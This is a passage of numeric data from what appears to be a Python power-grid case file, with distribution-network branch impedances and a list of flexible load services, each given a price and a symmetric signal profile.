0.0, 0.0], [1125.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1126.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1128.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1131.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1133.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1134.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1135.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1136.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1137.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1139.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1142.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1144.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1146.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1147.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1148.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1149.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1150.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1151.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1153.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1154.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1156.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1157.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1158.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1160.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1161.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1163.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1164.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1165.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1167.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.35, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1168.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1169.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1170.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1171.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1172.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1173.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1174.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1175.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1102, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], [1105, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], [1108, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], [1116, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], [1127, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], [1152, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0], ]) ## Branch data case["branch"] = array([ [1000.0, 1100.0, 0.0, 0.004667, 0.0, 25.0, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1101.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1101.0, 1102.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1102.0, 1103.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1104.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1104.0, 1105.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1105.0, 1106.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1107.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1107.0, 1108.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1108.0, 1109.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1110.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1110.0, 1111.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1111.0, 1112.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1111.0, 1113.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1112.0, 1114.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1115.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1115.0, 1116.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1116.0, 1117.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1117.0, 1118.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1118.0, 1119.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1119.0, 1120.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1120.0, 1121.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1116.0, 1122.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1118.0, 1123.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1119.0, 1124.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1121.0, 1125.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1126.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1126.0, 1127.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1127.0, 1128.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1128.0, 1129.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1129.0, 1130.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1130.0, 1131.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1131.0, 1132.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1127.0, 1133.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1129.0, 1134.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1130.0, 1135.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1132.0, 1136.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1137.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1137.0, 1138.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1138.0, 1139.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1139.0, 1140.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1140.0, 1141.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1141.0, 1142.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1142.0, 1143.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1143.0, 1144.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1144.0, 1145.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1138.0, 1146.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1140.0, 1147.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1141.0, 1148.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1143.0, 1149.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1145.0, 1150.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1100.0, 1151.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1151.0, 1152.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1152.0, 1153.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1153.0, 1154.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1154.0, 1155.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1155.0, 1156.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1156.0, 1157.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1157.0, 1158.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1158.0, 1159.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1159.0, 1160.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1160.0, 1161.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1161.0, 1162.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1162.0, 1163.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1163.0, 1164.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1164.0, 1165.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1165.0, 1166.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1152.0, 1167.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1154.0, 1168.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1155.0, 1169.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1157.0, 1170.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1159.0, 1171.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1161.0, 1172.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1162.0, 1173.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1164.0, 1174.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0], [1166.0, 1175.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0] ]) ## List of all potential flexible services of loads. # Type, device, price, signal flex_conso = [ [1, 1, 1.96, [0.0404, 0.0925, 0.1244, 0.1292, 0.1058, 0.0594, -0.0, -0.0594, -0.1058, -0.1292, -0.1244, -0.0925, -0.0404]], [1, 2, 2.54, [-0.0523, -0.0915, -0.1247, -0.1497, -0.1648, -0.1691, -0.1623, -0.1449, -0.1179, -0.0832, -0.043, 0.0, 0.043, 0.0832, 0.1179, 0.1449, 0.1623, 0.1691, 0.1648, 0.1497, 0.1247, 0.0915, 0.0523]], [1, 3, 1.96, [0.0404, 0.081, 0.1115, 0.1283, 0.1292, 0.1141, 0.0849, 0.0453, -0.0, -0.0453, -0.0849, -0.1141, -0.1292, -0.1283, -0.1115, -0.081, -0.0404]], [1, 4, 2.54, [-0.0523, -0.1304, -0.1679, -0.1531, -0.0907, 0.0, 0.0907, 0.1531, 0.1679, 0.1304, 0.0523]], [1, 5, 1.96, [0.0404, 0.0769, 0.1058, 0.1244, 0.1308, 0.1244, 0.1058, 0.0769, 0.0404, -0.0, -0.0404, -0.0769, -0.1058, -0.1244, -0.1308, -0.1244, -0.1058, -0.0769, -0.0404]], [1, 6, 2.54, [-0.0523, -0.102, -0.1405, -0.1636, -0.1687, -0.1554, -0.125, -0.081, -0.028, 0.028, 0.081, 0.125, 0.1554, 0.1687, 0.1636, 0.1405, 0.102, 0.0523]], [1, 7, 1.97, [0.0406, 0.0812, 0.1119, 0.1287, 0.1296, 0.1145, 0.0852, 0.0454, -0.0, -0.0454, -0.0852, -0.1145, -0.1296, -0.1287, -0.1119, -0.0812, -0.0406]], [1, 8, 1.97, [-0.0406, -0.0863, -0.1182, -0.1311, -0.1228, -0.0948, -0.0516, 0.0, 0.0516, 0.0948, 0.1228, 0.1311, 0.1182, 0.0863, 0.0406]], [1, 9, 0.5, [0.0103, 0.0235, 0.0316, 0.0328, 0.0269, 0.0151, -0.0, -0.0151, -0.0269, -0.0328, -0.0316, -0.0235, -0.0103]], [1, 10, 2.49, [-0.0513, -0.1174, -0.1579, -0.164, -0.1343, -0.0754, 0.0, 0.0754, 0.1343, 0.164, 0.1579, 0.1174, 0.0513]], [1, 11, 2.13, [0.0439, 0.1094, 0.1409, 0.1285, 0.0761, -0.0, -0.0761, -0.1285, -0.1409, -0.1094, -0.0439]], [1, 12, 2.13, [-0.0439, -0.1046, -0.1383, -0.1362, -0.099, -0.0361, 0.0361, 0.099, 0.1362, 0.1383, 0.1046, 0.0439]], [1, 13, 2.13, [0.0439, 0.1409, 0.0761, -0.0761, -0.1409, -0.0439]], [1, 14, 3.19, [-0.0658, -0.1283, -0.1767, -0.2057, -0.2122, -0.1955, -0.1573, -0.1018, -0.0352, 0.0352, 0.1018, 0.1573, 0.1955, 0.2122, 0.2057, 0.1767, 0.1283, 0.0658]], [1, 15, 3.19, [0.0658, 0.1568, 0.2073, 0.2042, 0.1483, 0.0541, -0.0541, -0.1483, -0.2042, -0.2073, -0.1568, -0.0658]], [1, 16, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]], [1, 17, 3.20, [0.0659, 0.1571, 0.2077, 0.2046, 0.1486, 0.0542, -0.0542, -0.1486, -0.2046, -0.2077, -0.1571, -0.0659]], [1, 18, 2.13, [-0.0439, -0.0934, -0.1279, -0.1419, -0.1329, -0.1026, -0.0558, 0.0, 0.0558, 0.1026, 0.1329, 0.1419, 0.1279, 0.0934, 0.0439]], [1, 19, 2.13, [0.0439, 0.0856, 0.1179, 0.1373, 0.1416, 0.1304, 0.1049, 0.0679, 0.0235, -0.0235, -0.0679, -0.1049, -0.1304, -0.1416, -0.1373, -0.1179, -0.0856, -0.0439]], [1, 20, 2.13, [-0.0439, -0.0905, -0.1244, -0.1409, -0.1375, -0.1149, -0.0761, -0.0266, 0.0266, 0.0761, 0.1149, 0.1375, 0.1409, 0.1244, 0.0905, 0.0439]], [1, 21, 3.19, [0.0658, 0.1449, 0.1971, 0.2126, 0.1884, 0.1292, 0.0459, -0.0459, -0.1292, -0.1884, -0.2126, -0.1971, -0.1449, -0.0658]], [1, 22, 3.19, [-0.0658, -0.1917, -0.1992, -0.0836, 0.0836, 0.1992, 0.1917, 0.0658]], [1, 23, 3.20, [0.0659, 0.1452, 0.1975, 0.213, 0.1888, 0.1294, 0.046, -0.046, -0.1294, -0.1888, -0.213, -0.1975, -0.1452, -0.0659]], [1, 24, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]], [1, 25, 2.17, [0.0448, 0.1067, 0.141, 0.1389, 0.1009, 0.0368, -0.0368, -0.1009, -0.1389, -0.141, -0.1067, -0.0448]], [1, 26, 2.18, [-0.0449, -0.1175, -0.1452, -0.1175, -0.0449, 0.0449, 0.1175, 0.1452, 0.1175, 0.0449]], [1, 27, 2.18, [0.0449, 0.0955, 0.1308, 0.1451, 0.1359, 0.1049, 0.0571, -0.0, -0.0571, -0.1049, -0.1359, -0.1451, -0.1308, -0.0955, -0.0449]], [1, 28, 2.18, [-0.0449, -0.0785, -0.107, -0.1284, -0.1414, -0.1451, -0.1393, -0.1243, -0.1012, -0.0714, -0.0369, 0.0, 0.0369, 0.0714, 0.1012, 0.1243, 0.1393, 0.1451, 0.1414, 0.1284, 0.107, 0.0785, 0.0449]], [1, 29, 3.25, [0.067, 0.1533, 0.2062, 0.2141, 0.1754, 0.0984, -0.0, -0.0984, -0.1754, -0.2141, -0.2062, -0.1533, -0.067]], [1, 30, 3.27, [-0.0674, -0.1158, -0.1573, -0.1893, -0.2099, -0.2179, -0.2128, -0.1949, -0.1653, -0.1257, -0.0786, -0.0267, 0.0267, 0.0786, 0.1257, 0.1653, 0.1949, 0.2128, 0.2179, 0.2099, 0.1893, 0.1573, 0.1158, 0.0674]], [1, 31, 3.27, [0.0674, 0.135, 0.1859, 0.2138, 0.2153, 0.1902, 0.1416, 0.0755, -0.0, -0.0755, -0.1416, -0.1902, -0.2153, -0.2138, -0.1859, -0.135, -0.0674]], [1, 32, 3.27, [-0.0674, -0.1485, -0.2019, -0.2177, -0.193, -0.1324, -0.047, 0.047, 0.1324, 0.193, 0.2177, 0.2019, 0.1485, 0.0674]], [1, 33, 3.27, [0.0674, 0.1485, 0.2019, 0.2177, 0.193, 0.1324, 0.047, -0.047, -0.1324, -0.193, -0.2177, -0.2019, -0.1485, -0.0674]], [1, 34, 1.71, [-0.0352, -0.0776, -0.1056, -0.1139, -0.1009, -0.0692, -0.0246, 0.0246, 0.0692, 0.1009, 0.1139, 0.1056, 0.0776, 0.0352]], [1, 35, 1.72, [0.0355, 0.0755, 0.1034, 0.1147, 0.1075, 0.083, 0.0451, -0.0, -0.0451, -0.083, -0.1075, -0.1147, -0.1034, -0.0755, -0.0355]], [1, 36, 1.72, [-0.0355, -0.0979, -0.1134, -0.0746, 0.0, 0.0746, 0.1134, 0.0979, 0.0355]], [1, 37, 1.72, [0.0355, 0.0846, 0.1118, 0.1101, 0.08, 0.0292, -0.0292, -0.08, -0.1101, -0.1118, -0.0846, -0.0355]], [1, 38, 1.72, [-0.0355, -0.0929, -0.1148, -0.0929, -0.0355, 0.0355, 0.0929, 0.1148, 0.0929, 0.0355]], [1, 39, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]], [1, 40, 1.72, [-0.0355, -0.0755, -0.1034, -0.1147, -0.1075, -0.083, -0.0451, 0.0, 0.0451, 0.083, 0.1075, 0.1147, 0.1034, 0.0755, 0.0355]], [1, 41, 1.72, [0.0355, 0.0711, 0.0979, 0.1126, 0.1134, 0.1002, 0.0746, 0.0397, -0.0, -0.0397, -0.0746, -0.1002, -0.1134, -0.1126, -0.0979, -0.0711, -0.0355]], [1, 42, 1.72, [-0.0355, -0.0782, -0.1063, -0.1147, -0.1016, -0.0697, -0.0248, 0.0248, 0.0697, 0.1016, 0.1147, 0.1063, 0.0782, 0.0355]], [1, 43, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]], [1, 44, 1.72, [-0.0355, -0.1092, -0.0929, 0.0, 0.0929, 0.1092, 0.0355]], [1, 45, 2.82, [0.0581, 0.108, 0.1484, 0.1757, 0.1876, 0.183, 0.1623, 0.1273, 0.0812, 0.0279, -0.0279, -0.0812, -0.1273, -0.1623, -0.183, -0.1876, -0.1757, -0.1484, -0.108, -0.0581]], [1, 46, 1.11, [-0.0229, -0.0704, -0.0599, 0.0, 0.0599, 0.0704, 0.0229]], [1, 47, 2.84, [0.0585, 0.1005, 0.1365, 0.1643, 0.1822, 0.1891, 0.1847, 0.1692, 0.1434, 0.1091, 0.0682, 0.0232, -0.0232, -0.0682, -0.1091, -0.1434, -0.1692, -0.1847, -0.1891, -0.1822, -0.1643, -0.1365, -0.1005, -0.0585]], [1, 48, 1.12, [-0.0231, -0.0551, -0.0729, -0.0718, -0.0521, -0.019, 0.019, 0.0521, 0.0718, 0.0729, 0.0551, 0.0231]], [1, 49, 2.839, [0.0585, 0.1531, 0.1892, 0.1531, 0.0585, -0.0585, -0.1531, -0.1892, -0.1531, -0.0585]], [1, 50, 1.12, [-0.0231, -0.0463, -0.0638, -0.0734, -0.0739, -0.0653, -0.0486, -0.0259, 0.0, 0.0259, 0.0486, 0.0653, 0.0739, 0.0734, 0.0638, 0.0463, 0.0231]], [1, 51, 2.839, [0.0585, 0.1087, 0.1493, 0.1768, 0.1888, 0.1842, 0.1633, 0.1281, 0.0817, 0.0281, -0.0281, -0.0817, -0.1281, -0.1633, -0.1842, -0.1888, -0.1768, -0.1493, -0.1087, -0.0585]], [1, 52, 1.12, [-0.0231, -0.044, -0.0605, -0.0711, -0.0748, -0.0711, -0.0605, -0.044, -0.0231, 0.0, 0.0231, 0.044, 0.0605, 0.0711, 0.0748, 0.0711, 0.0605, 0.044, 0.0231]], [1, 53, 2.839, [0.0585, 